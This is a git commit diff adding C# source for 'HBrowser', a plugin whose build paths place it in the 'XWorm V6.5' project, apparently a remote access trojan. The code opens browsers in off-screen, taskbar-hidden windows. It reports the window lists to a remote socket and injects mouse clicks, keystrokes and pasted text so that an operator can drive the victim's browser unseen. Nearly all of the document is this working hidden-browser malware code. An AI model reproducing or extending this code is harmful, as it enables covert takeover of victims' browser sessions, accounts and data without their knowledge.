initial commit
This commit is contained in:
Binary file not shown.
@@ -0,0 +1,25 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.33027.164
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HBrowser", "HBrowser\HBrowser.csproj", "{3E26F494-89F7-4E79-B16D-C540EA683926}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{3E26F494-89F7-4E79-B16D-C540EA683926}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{3E26F494-89F7-4E79-B16D-C540EA683926}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{3E26F494-89F7-4E79-B16D-C540EA683926}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{3E26F494-89F7-4E79-B16D-C540EA683926}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {692D5DE6-6255-4C73-ABA9-1FE37D67B263}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1 @@
|
||||
{"RootPath":"C:\\Users\\byt3d4sh\\Desktop\\Projects\\XWorm V6.5\\Plugins\\HBrowser\\HBrowser","ProjectFileName":"HBrowser.csproj","Configuration":"Debug|AnyCPU","FrameworkPath":"","Sources":[{"SourceFile":"HandleVNC\\Native.cs"},{"SourceFile":"Handle\\GetWindowsHidden.cs"},{"SourceFile":"Handle\\HandleClipboard.cs"},{"SourceFile":"Handle\\HandleMouse.cs"},{"SourceFile":"Plugin.cs"},{"SourceFile":"Properties\\AssemblyInfo.cs"},{"SourceFile":"ScreenshotCapture.cs"},{"SourceFile":"obj\\Debug\\.NETFramework,Version=v4.8.AssemblyAttributes.cs"}],"References":[{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Microsoft.CSharp.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Microsoft.VisualBasic.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\mscorlib.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Core.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Data.DataSetExtensions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Data.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Drawing.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Management.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Windows.Forms.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Xml.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Xml.Linq.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""}],"Analyzers":[],"Outputs":[{"OutputItemFullPath":"C:\\Users\\byt3d4sh\\Desktop\\Projects\\XWorm V6.5\\XWorm\\bin\\Debug\\Plugins\\HBrowser.dll","OutputItemRelativePath":"HBrowser.dll"},{"OutputItemFullPath":"","OutputItemRelativePath":""}],"CopyToOutputEntries":[]}
|
||||
@@ -0,0 +1,59 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{3E26F494-89F7-4E79-B16D-C540EA683926}</ProjectGuid>
|
||||
<OutputType>Library</OutputType>
|
||||
<AppDesignerFolder>Properties</AppDesignerFolder>
|
||||
<RootNamespace>HBrowser</RootNamespace>
|
||||
<AssemblyName>HBrowser</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.8</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<Deterministic>true</Deterministic>
|
||||
<TargetFrameworkProfile />
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<DebugSymbols>false</DebugSymbols>
|
||||
<DebugType>none</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>..\..\..\XWorm\bin\Debug\Plugins\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="HandleVNC\Native.cs" />
|
||||
<Compile Include="Handle\GetWindowsHidden.cs" />
|
||||
<Compile Include="Handle\HandleClipboard.cs" />
|
||||
<Compile Include="Handle\HandleMouse.cs" />
|
||||
<Compile Include="Plugin.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="ScreenshotCapture.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
@@ -0,0 +1,454 @@
|
||||
// HBrowser, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// Plugin.Handle.GetWindowsHidden
|
||||
using HBrowser;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
public class GetWindowsHidden
|
||||
{
|
||||
private class User32
|
||||
{
|
||||
public struct RECT
|
||||
{
|
||||
public int left;
|
||||
|
||||
public int top;
|
||||
|
||||
public int right;
|
||||
|
||||
public int bottom;
|
||||
}
|
||||
|
||||
public const int SW_HIDE = 0;
|
||||
|
||||
public const int SW_SHOW = 5;
|
||||
|
||||
public const int GWL_EXSTYLE = -20;
|
||||
|
||||
public const int WS_EX_TOOLWINDOW = 128;
|
||||
|
||||
public const int CloseHandel = 16;
|
||||
|
||||
public const int IsCloseHandel = 20;
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetForegroundWindow();
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetWindowRect(IntPtr hWnd, ref RECT rect);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool IsWindowVisible(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
|
||||
|
||||
[DllImport("User32.dll")]
|
||||
public static extern int GetWindowLong(IntPtr hWnd, int nIndex);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int x, int y, int cx, int cy, uint uFlags);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern int SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern bool PostMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
|
||||
}
|
||||
|
||||
public static List<IntPtr> ListBrowser = new List<IntPtr>();
|
||||
|
||||
private static readonly object SyncLock = new object();
|
||||
|
||||
private static bool IsWindowActived { get; set; }
|
||||
|
||||
public static void GetListWindow()
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
if (ListBrowser.Count <= 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
for (int i = ListBrowser.Count - 1; i > -1; i += -1)
|
||||
{
|
||||
lock (SyncLock)
|
||||
{
|
||||
IntPtr hWnd = ListBrowser[i];
|
||||
if (WindowCheck(hWnd))
|
||||
{
|
||||
Native.GetWindowThreadProcessId(hWnd, out var processId);
|
||||
if (processId == 0)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string mainModuleFilepath = Native.GetMainModuleFilepath(processId);
|
||||
if (File.Exists(mainModuleFilepath))
|
||||
{
|
||||
Icon original = Icon.ExtractAssociatedIcon(mainModuleFilepath);
|
||||
Icon icon = new Icon(original, new Size(24, 24));
|
||||
Bitmap bitmap = new Bitmap(icon.ToBitmap(), new Size(24, 24));
|
||||
MemoryStream memoryStream = new MemoryStream();
|
||||
bitmap.Save(memoryStream, ImageFormat.Png);
|
||||
stringBuilder.Append(mainModuleFilepath + "-==>" + i + "-==>" + Convert.ToBase64String(memoryStream.ToArray()) + "-==>" + processId + "-==>");
|
||||
}
|
||||
continue;
|
||||
}
|
||||
ListBrowser.RemoveAt(i);
|
||||
}
|
||||
}
|
||||
|
||||
ClientSocket.Send("WindowsActive" + Settings.SPL + Settings.IDD + Settings.SPL + stringBuilder.ToString());
|
||||
Helper.MsgLogs("Windows list updated successfully");
|
||||
}
|
||||
catch
|
||||
{
|
||||
Helper.MsgLogs("An error occurred while importing the list of windows");
|
||||
}
|
||||
}
|
||||
|
||||
public static bool InitializingWindow(int IndexWindow, int Width, int Height)
|
||||
{
|
||||
if (ListBrowser.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
Helper.MsgLogs("Initializing window...");
|
||||
IntPtr intPtr = ListBrowser[IndexWindow];
|
||||
foreach (IntPtr item in ListBrowser)
|
||||
{
|
||||
MoveWindow(item, 5000, 5000, Width, Height);
|
||||
}
|
||||
if (WindowCheck(intPtr))
|
||||
{
|
||||
MoveWindow(intPtr, 10000, 10000, Width, Height);
|
||||
User32.ShowWindow(intPtr, 0);
|
||||
User32.SetWindowLong(intPtr, -20, User32.GetWindowLong(intPtr, -20) | 0x80);
|
||||
User32.ShowWindow(intPtr, 5);
|
||||
User32.SetWindowPos(intPtr, (IntPtr)1, 10000, 10000, Width, Height, 64u);
|
||||
IsWindowActived = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
IsWindowActived = false;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return IsWindowActived;
|
||||
}
|
||||
|
||||
public static bool GetHandleBrowser(string Title, int Width, int Height)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process[] processes = Process.GetProcesses();
|
||||
Process[] array = processes;
|
||||
foreach (Process process in array)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(process.MainWindowTitle) && process.MainWindowTitle.Contains(Title))
|
||||
{
|
||||
IntPtr mainWindowHandle = process.MainWindowHandle;
|
||||
MoveWindow(mainWindowHandle, 10000, 10000, Width, Height);
|
||||
User32.ShowWindow(mainWindowHandle, 0);
|
||||
User32.SetWindowLong(mainWindowHandle, -20, User32.GetWindowLong(mainWindowHandle, -20) | 0x80);
|
||||
User32.ShowWindow(mainWindowHandle, 5);
|
||||
User32.SetWindowPos(mainWindowHandle, (IntPtr)1, 10000, 10000, Width, Height, 64u);
|
||||
ListBrowser.Add(mainWindowHandle);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public static string RetrunBrowser(string Browser, string CustomName, string TitleCustomOpen)
|
||||
{
|
||||
switch (Browser)
|
||||
{
|
||||
case "chrome":
|
||||
{
|
||||
string text4 = "Welcome Chrome Browser";
|
||||
try
|
||||
{
|
||||
int num5 = 0;
|
||||
if (!ScanWindows(text4))
|
||||
{
|
||||
Process.Start("chrome", "--new-window \"data:text/html,<title>Welcome Chrome Browser</title>\" --mute-audio --disable-audio");
|
||||
while (ClientSocket.isConnected)
|
||||
{
|
||||
Process[] processes5 = Process.GetProcesses();
|
||||
Process[] array5 = processes5;
|
||||
foreach (Process process5 in array5)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(process5.MainWindowTitle) && process5.MainWindowTitle.Contains(text4))
|
||||
{
|
||||
return text4;
|
||||
}
|
||||
if (num5 >= 20)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
Thread.Sleep(250);
|
||||
num5++;
|
||||
}
|
||||
break;
|
||||
}
|
||||
return text4;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
case "edge":
|
||||
{
|
||||
string text3 = "Welcome Edge Browser";
|
||||
try
|
||||
{
|
||||
int num4 = 0;
|
||||
if (!ScanWindows(text3))
|
||||
{
|
||||
Process.Start("msedge", "--new-window \"data:text/html,<title>Welcome Edge Browser</title>\" --mute-audio --disable-audio");
|
||||
while (ClientSocket.isConnected)
|
||||
{
|
||||
Process[] processes4 = Process.GetProcesses();
|
||||
Process[] array4 = processes4;
|
||||
foreach (Process process4 in array4)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(process4.MainWindowTitle) && process4.MainWindowTitle.Contains(text3))
|
||||
{
|
||||
return text3;
|
||||
}
|
||||
if (num4 >= 20)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
Thread.Sleep(250);
|
||||
num4++;
|
||||
}
|
||||
break;
|
||||
}
|
||||
return text3;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
case "firefox":
|
||||
{
|
||||
string text2 = "Welcome_firefox_Browser";
|
||||
try
|
||||
{
|
||||
int num3 = 0;
|
||||
if (!ScanWindows(text2))
|
||||
{
|
||||
Process.Start("firefox", "--new-window data:text/html,<title>Welcome_firefox_Browser</title>");
|
||||
while (ClientSocket.isConnected)
|
||||
{
|
||||
Process[] processes3 = Process.GetProcesses();
|
||||
Process[] array3 = processes3;
|
||||
foreach (Process process3 in array3)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(process3.MainWindowTitle) && process3.MainWindowTitle.Contains(text2))
|
||||
{
|
||||
return text2;
|
||||
}
|
||||
if (num3 >= 20)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
Thread.Sleep(250);
|
||||
num3++;
|
||||
}
|
||||
break;
|
||||
}
|
||||
return text2;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
case "brave":
|
||||
{
|
||||
string text = "Welcome brave Browser";
|
||||
try
|
||||
{
|
||||
int num2 = 0;
|
||||
if (!ScanWindows(text))
|
||||
{
|
||||
Process.Start("brave", "--new-window \"data:text/html,<title>Welcome brave Browser</title>\" --mute-audio --disable-audio");
|
||||
while (ClientSocket.isConnected)
|
||||
{
|
||||
Process[] processes2 = Process.GetProcesses();
|
||||
Process[] array2 = processes2;
|
||||
foreach (Process process2 in array2)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(process2.MainWindowTitle) && process2.MainWindowTitle.Contains(text))
|
||||
{
|
||||
return text;
|
||||
}
|
||||
if (num2 >= 20)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
Thread.Sleep(250);
|
||||
num2++;
|
||||
}
|
||||
break;
|
||||
}
|
||||
return text;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
case "CustomOpen":
|
||||
try
|
||||
{
|
||||
int num = 0;
|
||||
if (!ScanWindows(TitleCustomOpen))
|
||||
{
|
||||
Process.Start(CustomName, "--new-window \"data:text/html,<title>%Title%</title>\" --mute-audio --disable-audio".Replace("%Title%", TitleCustomOpen));
|
||||
while (ClientSocket.isConnected)
|
||||
{
|
||||
Process[] processes = Process.GetProcesses();
|
||||
Process[] array = processes;
|
||||
foreach (Process process in array)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(process.MainWindowTitle) && process.MainWindowTitle.Contains(TitleCustomOpen))
|
||||
{
|
||||
return TitleCustomOpen;
|
||||
}
|
||||
if (num >= 20)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
Thread.Sleep(250);
|
||||
num++;
|
||||
}
|
||||
break;
|
||||
}
|
||||
return TitleCustomOpen;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public static bool ScanWindows(string Title)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process[] processes = Process.GetProcesses();
|
||||
Process[] array = processes;
|
||||
foreach (Process process in array)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(process.MainWindowTitle) && process.MainWindowTitle.Contains(Title))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public static void MoveWindow(IntPtr intPtr, int LX, int LY, int Width, int Height)
|
||||
{
|
||||
try
|
||||
{
|
||||
Native.SetWindowPos(intPtr, IntPtr.Zero, LX, LY, Width, Height, Native.SetWindowPosFlags.DoNotChangeOwnerZOrder | Native.SetWindowPosFlags.IgnoreResize);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public static void ResizeWondow(IntPtr hWnd, int x, int y)
|
||||
{
|
||||
try
|
||||
{
|
||||
User32.SetWindowPos(hWnd, (IntPtr)1, 10000, 10000, x, y, 64u);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public static bool WindowCheck(IntPtr hWnd)
|
||||
{
|
||||
if (!User32.IsWindowVisible(hWnd))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
public static void WindowClose(IntPtr hWnd, int x, int y)
|
||||
{
|
||||
try
|
||||
{
|
||||
MoveWindow(hWnd, 10000, 10000, x, y);
|
||||
User32.PostMessage(hWnd, 16u, IntPtr.Zero, IntPtr.Zero);
|
||||
GetListWindow();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public static void ClearList(int x, int y)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (ListBrowser.Count <= 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
foreach (IntPtr item in ListBrowser)
|
||||
{
|
||||
WindowClose(item, x, y);
|
||||
}
|
||||
Helper.WindowrActive = IntPtr.Zero;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using HBrowser;
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
|
||||
namespace HB.Handle
|
||||
{
|
||||
public class HandleClipboard
|
||||
{
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern bool PostMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
public static void Paste(string k)
|
||||
{
|
||||
string @string = Encoding.UTF8.GetString(Convert.FromBase64String(k));
|
||||
for (int i = 0; i < @string.Length; i++)
|
||||
{
|
||||
int num = Strings.AscW(@string[i].ToString());
|
||||
if (num == 8 || num == 13)
|
||||
{
|
||||
PostMessage(Helper.WindowrActive, 256u, (IntPtr)Conversions.ToInteger("&H" + Conversion.Hex(Strings.AscW(@string[i].ToString()))), CreateLParamFor_WM_KEYDOWN(1, 30, IsExtendedKey: false, DownBefore: false));
|
||||
PostMessage(Helper.WindowrActive, 257u, (IntPtr)Conversions.ToInteger("&H" + Conversion.Hex(Strings.AscW(@string[i].ToString()))), CreateLParamFor_WM_KEYUP(1, 30, IsExtendedKey: false));
|
||||
}
|
||||
else
|
||||
{
|
||||
PostMessage(Helper.WindowrActive, 258u, (IntPtr)Strings.AscW(@string[i].ToString()), (IntPtr)1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static IntPtr CreateLParamFor_WM_KEYUP(ushort RepeatCount, byte ScanCode, bool IsExtendedKey)
|
||||
{
|
||||
return KeysLParam(RepeatCount, ScanCode, IsExtendedKey, DownBefore: true, State: true);
|
||||
}
|
||||
|
||||
public static IntPtr CreateLParamFor_WM_KEYDOWN(ushort RepeatCount, byte ScanCode, bool IsExtendedKey, bool DownBefore)
|
||||
{
|
||||
return KeysLParam(RepeatCount, ScanCode, IsExtendedKey, DownBefore, State: false);
|
||||
}
|
||||
|
||||
public static IntPtr KeysLParam(ushort RepeatCount, byte ScanCode, bool IsExtendedKey, bool DownBefore, bool State)
|
||||
{
|
||||
int num = RepeatCount | (ushort)(ScanCode << 16);
|
||||
if (IsExtendedKey)
|
||||
{
|
||||
num |= 0x10000;
|
||||
}
|
||||
if (DownBefore)
|
||||
{
|
||||
num |= 0x40000000;
|
||||
}
|
||||
if (State)
|
||||
{
|
||||
num = (int)((long)num | -2147483648L);
|
||||
}
|
||||
return new IntPtr(num);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,137 @@
|
||||
// HBrowser, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// Plugin.Handle.HandleMouse
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using HBrowser;
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
|
||||
internal class HandleMouse
|
||||
{
|
||||
public struct RECT
|
||||
{
|
||||
public int Left;
|
||||
|
||||
public int Top;
|
||||
|
||||
public int Right;
|
||||
|
||||
public int Bottom;
|
||||
}
|
||||
|
||||
private const int WM_SETTEXT = 12;
|
||||
|
||||
private const int WM_GETTEXT = 13;
|
||||
|
||||
private const int WM_GETTEXTLENGTH = 14;
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern int SendMessage(IntPtr hWnd, uint Msg, int wParam, string lParam);
|
||||
|
||||
public static void Copy(string hParent)
|
||||
{
|
||||
if (!Helper.WindowrActive.Equals(IntPtr.Zero))
|
||||
{
|
||||
int num = SendMessage(Helper.WindowrActive, 14u, 0, null);
|
||||
string lParam = Strings.Space(num + 1);
|
||||
SendMessage(Helper.WindowrActive, 13u, num + 1, lParam);
|
||||
}
|
||||
}
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern bool PostMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool GetWindowRect(IntPtr hWnd, ref RECT lpRect);
|
||||
|
||||
public static int MakeLParam(int LoWord, int HiWord)
|
||||
{
|
||||
return (HiWord << 16) | (LoWord & 0xFFFF);
|
||||
}
|
||||
|
||||
public static void MouseLeftDown(int x, int y)
|
||||
{
|
||||
RECT lpRect = default(RECT);
|
||||
GetWindowRect(Helper.WindowrActive, ref lpRect);
|
||||
Point point = new Point(10000 + x - lpRect.Left, 10000 + y - lpRect.Top);
|
||||
PostMessage(Helper.WindowrActive, 513u, (IntPtr)0, (IntPtr)MakeLParam(point.X, point.Y));
|
||||
}
|
||||
|
||||
public static void MouseLeftUp(int x, int y)
|
||||
{
|
||||
RECT lpRect = default(RECT);
|
||||
GetWindowRect(Helper.WindowrActive, ref lpRect);
|
||||
Point point = new Point(10000 + x - lpRect.Left, 10000 + y - lpRect.Top);
|
||||
PostMessage(Helper.WindowrActive, 514u, (IntPtr)0, (IntPtr)MakeLParam(point.X, point.Y));
|
||||
}
|
||||
|
||||
public static void MouseRightDown(int x, int y)
|
||||
{
|
||||
RECT lpRect = default(RECT);
|
||||
GetWindowRect(Helper.WindowrActive, ref lpRect);
|
||||
Point point = new Point(10000 + x - lpRect.Left, 10000 + y - lpRect.Top);
|
||||
PostMessage(Helper.WindowrActive, 516u, (IntPtr)0, (IntPtr)MakeLParam(x - lpRect.Left, y - lpRect.Top));
|
||||
}
|
||||
|
||||
public static void MouseRghitUp(int x, int y)
|
||||
{
|
||||
RECT lpRect = default(RECT);
|
||||
GetWindowRect(Helper.WindowrActive, ref lpRect);
|
||||
Point point = new Point(10000 + x - lpRect.Left, 10000 + y - lpRect.Top);
|
||||
PostMessage(Helper.WindowrActive, 517u, (IntPtr)0, (IntPtr)MakeLParam(x - lpRect.Left, y - lpRect.Top));
|
||||
}
|
||||
|
||||
|
||||
public static void MouseMove(int x, int y)
|
||||
{
|
||||
RECT lpRect = default(RECT);
|
||||
GetWindowRect(Helper.WindowrActive, ref lpRect);
|
||||
Point point = new Point(10000 + x - lpRect.Left, 10000 + y - lpRect.Top);
|
||||
PostMessage(Helper.WindowrActive, 512u, (IntPtr)0, (IntPtr)MakeLParam(x - lpRect.Left, y - lpRect.Top));
|
||||
}
|
||||
|
||||
public static IntPtr CreateLParamFor_WM_KEYDOWN(ushort RepeatCount, byte ScanCode, bool IsExtendedKey, bool DownBefore)
|
||||
{
|
||||
return KeysLParam(RepeatCount, ScanCode, IsExtendedKey, DownBefore, State: false);
|
||||
}
|
||||
|
||||
public static IntPtr KeysLParam(ushort RepeatCount, byte ScanCode, bool IsExtendedKey, bool DownBefore, bool State)
|
||||
{
|
||||
int num = RepeatCount | (ushort)(ScanCode << 16);
|
||||
if (IsExtendedKey)
|
||||
{
|
||||
num |= 0x10000;
|
||||
}
|
||||
if (DownBefore)
|
||||
{
|
||||
num |= 0x40000000;
|
||||
}
|
||||
if (State)
|
||||
{
|
||||
num = (int)((long)num | -2147483648L);
|
||||
}
|
||||
return new IntPtr(num);
|
||||
}
|
